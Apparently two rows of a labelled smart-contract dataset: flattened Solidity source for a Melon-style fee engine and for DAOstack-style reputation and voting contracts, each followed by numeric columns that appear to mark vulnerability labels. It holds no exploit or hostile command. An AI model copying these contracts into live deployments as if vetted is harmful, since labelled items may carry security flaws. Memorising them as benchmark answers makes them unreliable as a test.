registry = Registry(_registry);
emit RegistryChange(registry);
}
function setRegistry(address _registry)
external
onlyMTC
{
_setRegistry(_registry);
}
function setAmguPrice(uint _price)
external
onlyMGM
{
amguPrice = _price;
emit SetAmguPrice(_price);
}
function getAmguPrice() public view returns (uint) { return amguPrice; }
function premiumPercent() public view returns (uint) {
if (liquidEther < 1 ether) {
return 0;
} else if (liquidEther >= 1 ether && liquidEther < 5 ether) {
return 5;
} else if (liquidEther >= 5 ether && liquidEther < 10 ether) {
return 10;
} else if (liquidEther >= 10 ether) {
return 15;
}
}
function payAmguInEther() external payable {
require(
registry.isFundFactory(msg.sender) ||
registry.isFund(msg.sender),
"Sender must be a fund or the factory"
);
uint mlnPerAmgu = getAmguPrice();
uint ethPerMln;
(ethPerMln,) = priceSource().getPrice(address(mlnToken()));
uint amguConsumed;
if (mlnPerAmgu > 0 && ethPerMln > 0) {
amguConsumed = (mul(msg.value, 10 ** uint(MLN_DECIMALS))) / (mul(ethPerMln, mlnPerAmgu));
} else {
amguConsumed = 0;
}
totalEtherConsumed = add(totalEtherConsumed, msg.value);
totalAmguConsumed = add(totalAmguConsumed, amguConsumed);
frozenEther = add(frozenEther, msg.value);
emit AmguPaid(amguConsumed);
}
function thaw() external {
require(
block.timestamp >= add(lastThaw, thawingDelay),
"Thawing delay has not passed"
);
require(frozenEther > 0, "No frozen ether to thaw");
lastThaw = block.timestamp;
liquidEther = add(liquidEther, frozenEther);
emit Thaw(frozenEther);
frozenEther = 0;
}
function enginePrice() public view returns (uint) {
uint ethPerMln;
(ethPerMln, ) = priceSource().getPrice(address(mlnToken()));
uint premium = (mul(ethPerMln, premiumPercent()) / 100);
return add(ethPerMln, premium);
}
function ethPayoutForMlnAmount(uint mlnAmount) public view returns (uint) {
return mul(mlnAmount, enginePrice()) / 10 ** uint(MLN_DECIMALS);
}
function sellAndBurnMln(uint mlnAmount) external {
require(registry.isFund(msg.sender), "Only funds can use the engine");
require(
mlnToken().transferFrom(msg.sender, address(this), mlnAmount),
"MLN transferFrom failed"
);
uint ethToSend = ethPayoutForMlnAmount(mlnAmount);
require(ethToSend > 0, "No ether to pay out");
require(liquidEther >= ethToSend, "Not enough liquid ether to send");
liquidEther = sub(liquidEther, ethToSend);
totalMlnBurned = add(totalMlnBurned, mlnAmount);
msg.sender.transfer(ethToSend);
mlnToken().burn(mlnAmount);
emit Burn(mlnAmount);
}
function mlnToken()
public
view
returns (BurnableToken)
{
return BurnableToken(registry.mlnToken());
}
function priceSource()
public
view
returns (PriceSourceInterface)
{
return PriceSourceInterface(registry.priceSource());
}
} | 0 | 88 |
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.4;
contract AbsoluteVote is IntVoteInterface {
using SafeMath for uint;
struct Parameters {
uint256 precReq;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
}
struct Proposal {
bytes32 organizationId;
bool open;
address callbacks;
uint256 numOfChoices;
bytes32 paramsHash;
uint256 totalVotes;
mapping(uint=>uint) votes;
mapping(address=>Voter) voters;
}
event AVVoteProposal(bytes32 indexed _proposalId, bool _isProxyVote);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>address) public organizations;
uint256 public constant MAX_NUM_OF_CHOICES = 10;
uint256 public proposalsCnt;
modifier votable(bytes32 _proposalId) {
require(proposals[_proposalId].open);
_;
}
function propose(uint256 _numOfChoices, bytes32 _paramsHash, address, address _organization)
external
returns(bytes32)
{
require(parameters[_paramsHash].precReq > 0);
require(_numOfChoices > 0 && _numOfChoices <= MAX_NUM_OF_CHOICES);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.numOfChoices = _numOfChoices;
proposal.paramsHash = _paramsHash;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.open = true;
proposals[proposalId] = proposal;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
emit NewProposal(proposalId, organizations[proposal.organizationId], _numOfChoices, msg.sender, _paramsHash);
return proposalId;
}
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
address _voter)
external
votable(_proposalId)
returns(bool)
{
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
cancelVoteInternal(_proposalId, msg.sender);
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].numOfChoices;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return proposals[_proposalId].open;
}
function isAbstainAllow() external pure returns(bool) {
return true;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (0, MAX_NUM_OF_CHOICES);
}
function setParameters(uint256 _precReq, address _voteOnBehalf) public returns(bytes32) {
require(_precReq <= 100 && _precReq > 0);
bytes32 hashedParameters = getParametersHash(_precReq, _voteOnBehalf);
parameters[hashedParameters] = Parameters({
precReq: _precReq,
voteOnBehalf: _voteOnBehalf
});
return hashedParameters;
}
function getParametersHash(uint256 _precReq, address _voteOnBehalf) public pure returns(bytes32) {
return keccak256(abi.encodePacked(_precReq, _voteOnBehalf));
}
function cancelVoteInternal(bytes32 _proposalId, address _voter) internal {
Proposal storage proposal = proposals[_proposalId];
Voter memory voter = proposal.voters[_voter];
proposal.votes[voter.vote] = (proposal.votes[voter.vote]).sub(voter.reputation);
proposal.totalVotes = (proposal.totalVotes).sub(voter.reputation);
delete proposal.voters[_voter];
emit CancelVoting(_proposalId, organizations[proposal.organizationId], _voter);
}
function deleteProposal(bytes32 _proposalId) internal {
Proposal storage proposal = proposals[_proposalId];
for (uint256 cnt = 0; cnt <= proposal.numOfChoices; cnt++) {
delete proposal.votes[cnt];
}
delete proposals[_proposalId];
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 precReq = parameters[proposal.paramsHash].precReq;
for (uint256 cnt = 0; cnt <= proposal.numOfChoices; cnt++) {
if (proposal.votes[cnt] > (totalReputation/100)*precReq) {
Proposal memory tmpProposal = proposal;
deleteProposal(_proposalId);
emit ExecuteProposal(_proposalId, organizations[tmpProposal.organizationId], cnt, totalReputation);
return ProposalExecuteInterface(tmpProposal.callbacks).executeProposal(_proposalId, int(cnt));
}
}
return false;
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
Proposal storage proposal = proposals[_proposalId];
require(_vote <= proposal.numOfChoices);
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep);
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
cancelVoteInternal(_proposalId, _voter);
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
proposal.totalVotes = rep.add(proposal.totalVotes);
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote
});
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
emit AVVoteProposal(_proposalId, (_voter != msg.sender));
return _execute(_proposalId);
}
}
pragma solidity ^0.5.4;
contract QuorumVote is AbsoluteVote {
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 precReq = parameters[proposal.paramsHash].precReq;
if (proposal.totalVotes > (totalReputation/100)*precReq) {
uint256 max;
uint256 maxInd;
for (uint256 cnt = 0; cnt <= proposal.numOfChoices; cnt++) {
if (proposal.votes[cnt] > max) {
max = proposal.votes[cnt];
maxInd = cnt;
}
}
Proposal memory tmpProposal = proposal;
deleteProposal(_proposalId);
emit ExecuteProposal(_proposalId, organizations[tmpProposal.organizationId], maxInd, totalReputation);
ProposalExecuteInterface(tmpProposal.callbacks).executeProposal(_proposalId, int(maxInd));
return true;
}
return false;
}
} | 1 | 3,992 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.